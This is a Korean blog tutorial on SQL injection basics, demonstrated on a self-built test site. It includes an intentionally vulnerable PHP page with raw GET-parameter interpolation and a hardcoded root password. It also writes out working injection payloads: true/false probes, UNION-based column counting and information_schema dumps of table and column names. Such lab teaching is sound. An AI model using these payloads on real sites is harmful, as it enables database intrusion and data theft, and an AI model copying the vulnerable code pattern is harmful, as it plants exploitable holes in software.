본문 바로가기
프로그래밍/WEB HACKING

[WEB HACKING] Blind SQL injection 기본개념

by B T Y 2017. 9. 5.
반응형

Blind SQL injection 기본개념에 대해서 정리한다.



Blind SQL injection


  - SELECT 쿼리에 취약점이 존재하는 경우

  - DB내의 정보를 노출할 수 있는 취약점



테스트 사이트


1). DB: blind


- table


news

  - no(숫자)

  - title(문자)

  - news(문자)



fnews

  - no(숫자)

  - title(문자)

  - news(문자)

  - bigo(문자)



anews

  - no(숫자)

  - title(문자)



( blind DB안에 테스트 사이트에서 사용할 news 테이블과 fnews, anews 테이블을 만들어놨고 해당 구조이다.. )



( 실습을 위해서 각 테이블마다 3개씩 데이터를 입력 해두었다... )


! 각 테이블에는 테스트를 위한 데이터를 미리 입력( 3개정도 )




2). 취약점이 존재하는 웹 어플리케이션



<?php


$db = mysql_connect( 'localhost', 'root', '1234' );

mysql_select_db( 'blind', $db );


$sql = "SELECT * FROM news WHERE no={$_GET[no]}";


if( $ret ){

  print "Welcome News Site!!!<br>";

  while( $row = mysql_fetch_row( $ret ) ) {

    print "Title: $row[1] <br>";

    print "News: $row[2] <br>";

  }

}


?>



( php를 이용해서 취약점이 존재하는 간단한 테스트 사이트를 하나 만들었다... )



( 처음 결과와 비교를 해보면 no 값에 의해서 title과 news의 내용이 바뀌는걸 볼 수 있다 )



1. 취약점 확인



 - numeric의 경우

http://192.168.12.100/view.php?no=1%20hello

->

SELECT * FROM news WHERE no=1 hello


  * 공백 뒤쪽에 hello를 쿼리로 인식해서 에러가 발생한다.

      ( hello가 쿼리로 인식이 됬다는건 다른 SQL 쿼리를 작성한다면 실행이 가능하다는 얘기와 같다.. )


 - string의 경우

http://192.168.12.100/view.php?no=1 hello

->

SELECT * FROM news WHERE no='1 hello'


  * 공백을 넣어도 싱글 쿼터 안의 내용은 하나의 문자열로 취급해서 에러가 발생하지 않는다.


  * string의 경우라면 싱글 쿼터를 사용하는지 더블 쿼터를 사용하는지 알아보기 위해선 

   싱글 쿼터와 더블쿼터를 둘다 사용해보면서 결과를 확인 해봐야 알 수있다.



 - 주석을 이용해 string을 우회하는 경우

http://192.168.12.100/view.php?no=1' hello%23

->

SELECT * FROM news WHERE no='1' hello#'


  * string의 경우 싱글쿼터로 막아주고 뒤쪽은 주석으로 싱글쿼터를 처리해주면 hello 쿼리로 이해하게 된다.




2. SELECT 쿼리의 응용


1). 여러개의 쿼리를 한 번에 실행


  - 쿼리 ; 쿼리 ; 쿼리 ;

    ( SQL에서는 세미콜론( ; )을 구분자로 이용해서 여러개의 쿼리를 실행 할 수 있다는 특징을 이용 )


2). join, union, ...


  - 쿼리(select) union 혹은 union all 쿼리(select)


  * 앞의 쿼리와 쿼리 종류를 맞춰줘야한다.

  * 중복된 내용을 표현해주려면 union all을 이용해줘야 한다.

  * 컬럼의 갯수도 서로 마쳐줘야한다.

  * union을 이용해서 다른 테이블의 내용을 출력하려고 할때 컬럼의 숫자가 다르면 출력되지 않는다.

    ( 갯수가 많은 경우에는 컬럼의 갯수는 직접 맞쳐주면 되고 concat() 함수를 사용해서 합쳐줄 수 있고

      갯수가 적은 경우에는 똑같은 컬럼을 한번더 출력해주던지해서 갯수를 마쳐주면 된다 )



( union을 이용하게 되면 두개의 select문을 한번에 보여주게 되고 중복값은 보여주지 않는다...

중복값을 보기를 원하면 union all을 이용해야 한다!! )



( SQL 내장함수인 concat() 함수를 이용하면 문자열이나 컬럼을 합칠수 있게 된다...

위에 있는 두개의 결과를 비교해보면 concat() 함수의 동작 방식에 대해서 이해할 수 있다.. )



( concat() 함수를 이용해서 select문을 이용해 컬럼을 합쳐서 출력해줄때 

두 컬럼의 내용이 붙어있으면 헷갈리기 때문에 "/"를 이용해서 구분을 지어줬다.. )



- blind SQL injection 기본 개념을 이용한 결과


http://192.168.12.100/view.php?no=1 union select no,title,title from anews;

->

SELECT * FROM news WHERE no=1 union SELECT no,title,title FROM anews;


  * 타겟 페이지에서 no를 출력하지 않기 때문에 결과를 확인해보면 title만 출력이 되는걸 확인할 수 있다.



( 타겟 사이트에서 첫번째 컬럼은 출력을 하지 않기 때문에 2, 3번째 컬럼인 title,title이 출력이 된걸 확인할 수 있다 )



- blind SQL injection을 하기 위해서 정보를 알아내는 과정


    * 이 부분은 blind SQL injection을 하기전에 처음에는 공격자에게는 

      아무 정보가 없기 때문에 정보를 얻어내는 과정이다.



1. 취약점 가능 확인(참/거짓)


  - and 앞 부분은 이미 참이라는것이 확인 되었기 때문에 입력을 통해서 취약점으로 가치가 있는지 확인해본다.



http://192.168.12.100/view.php?no=1 and 1=1

->

SELECT * FROM news WHERE no=1 and 1=1(참)



( 앞쪽에는 정상적으로 출력이 되기 때문에 참이라는걸 알 수 있는데 그 뒤에 and를 이용해서 1=1 같은 참의 식을 

추가 시켜주고 실행을 했을때 어떻게 실행 되는지를 확인해본다... )


http://192.168.12.100/view.php?no=1 and 1=2

->

SELECT * FROM news WHERE no=1 and 1=2(거짓)



( 거짓 식을 이용해서도 확인을 해보면 and 1=2라는 거짓식을 하나 만들어서 뒤에 추가해주고 실행하면

아까와 다르게 실행이 되는걸 확인할 수 있는데 입력값에 따라서 실행 결과가 달라지는걸 보면 

취약점으로써 가치가 있다고 판단할 수 있다.. )



2. 컬럼의 갯수 확인



- 단순하게 입력 컬럼의 갯수를 늘려가면서 확인하는 방식


http://192.168.12.100/view.php?no=1 union select 1     (에러)

http://192.168.12.100/view.php?no=1 union select 1,2     (에러)

http://192.168.12.100/view.php?no=1 union select 1,2,3     (실행)

->

SELECT * FROM news WHERE no=1 union select 1

SELECT * FROM news WHERE no=1 union select 1,2

SELECT * FROM news WHERE no=1 union select 1,2,3


  * 해당 확인을 통해서 컬럼의 갯수는 3개로 확인되었다.



( 컬럼의 갯수를 알아내는 방식 중 하나로 순차적으로 union의 특성을 이용해서 순차적으로 입력 컬럼의 갯수를 늘려간다..

컬럼의 갯수가 맞지 않는다면 에러가 뜨고 컬럼의 갯수가 맞다면 정상적으로 실행이 될 것이다.. )


  * union select 1,2,3을 통해서 첫번째 컬럼은 출력이 되지 않는걸 알 수 있다.



- order by를 이용한 확인 방법


http://192.168.12.100/view.php?no=1 union select 1 order by 100

http://192.168.12.100/view.php?no=1 union select 1 order by 50

http://192.168.12.100/view.php?no=1 union select 1 order by 25

...

http://192.168.12.100/view.php?no=1 union select 1 order by 4

http://192.168.12.100/view.php?no=1 union select 1 order by 3 (실행)



( order by를 이용하는 방법은 전체 컬럼의 갯수가 많다면 순차적으로 입력 컬럼을 늘려가는 방법보다 효율적인 방법이다... 

order by를 이용해서 해당 컬럼을 기준으로 정렬을 하는데 만약 실행 에러가 난다면 

해당 컬럼이 없다는걸 의미해서 그 컬럼보다 갯수를 줄여서 다시 order by 실행을 하면 된다.. )




3. 테이블 정보와 컬럼 정보 확인


1). 추측(Guessing)

  - 경험이 많은 사람에게는 추측을 통해서 테이블 정보와 컬럼 정보를 알아내는게 쉬운 방법이 될 수도 있다.

  - 해당 방법을 잘 사용하기 위해서는 많은 경험이 필요하다.


2). information_schema


  - mysql에서만 사용이 가능

  - version 5.x 이상에서만 사용이 가능


    * 각 DBMS마다 information_schema와 같이 사용하는 DB가 존재한다.

    * information_schema.tables와 같이 .을 이용해서 해당 DB안에 있는 테이블에 접근이 가능하다.



( mysql에서는 information_schema DB안에 해당 데이터베이스에 대한 모든 구조 정보가 들어있는데 

파일은 없는 DB라서 내용을 수정하는건 불가능하다... )



http://192.168.12.100/view.php?no=1 union select 1,table_name,table_schema from information_schema.tables

->

SELECT * FROM news WHERE no=1 union select 1,table_name,table_schema from information_schema.tables



( mysql에서 해당 DB안에 있는 테이블에 접근하는 방법은 'DB명.테이블'과 같은 형식으로 '.'을 이용해서 하위로 접근을 하게된다.. )



http://192.168.12.100/view.php?no=1 union select 1,column_name,table_name from information_schema.columns

->

SELECT * FROM news WHERE no=1 union select 1,column_name,table_name from information_schema.columns



( SQL 쿼리를 이용해 다른 DB에 있는 테이블에 접근하는 방법을 알기 때문에 그걸 이용해서

union select 1,column_name,table_name from infromation_schema.columns를 추가시켜 

컬럼명과 테이블명을 알아내는데 성공했다... 위 결과는 전체 컬럼명과 테이블명을 출력한 결과이다.. )



  * 타겟 페이지에서는 두개의 컬럼만 출력이 가능한데 그렇기 때문에 column_name, table_name을 

   출력해서 알아낼수 있다.






반응형

댓글